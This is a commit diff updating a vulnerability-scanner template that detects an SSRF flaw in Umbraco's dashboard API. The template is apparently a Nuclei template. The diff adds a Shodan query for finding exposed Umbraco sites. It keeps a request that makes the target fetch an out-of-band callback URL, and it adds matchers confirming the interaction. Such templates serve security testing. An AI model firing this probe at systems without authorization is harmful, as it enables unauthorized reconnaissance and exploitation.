Update and rename misconfiguration/vulnerabilities/other/umbraco-base-ssrf.yaml to vulnerabilities/other/umbraco-base-ssrf.yaml
parent
a47ea206d9
commit
1bd96f8902
|
@ -11,6 +11,9 @@ info:
|
|||
cvss-score: 5.3
|
||||
cve-id: CVE-2020-10770
|
||||
cwe-id: CWE-601
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.html:"Umbraco"
|
||||
tags: ssrf,umbraco,oast
|
||||
|
||||
requests:
|
||||
|
@ -21,8 +24,16 @@ requests:
|
|||
- '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://{{interactsh-url}}/'
|
||||
|
||||
stop-at-first-match: true
|
||||
req-condition: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "http"
|
||||
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "len(body_1)==0"
|
||||
- "len(body_2)==0"
|
||||
- "len(body_3)==0"
|
Loading…
Reference in New Issue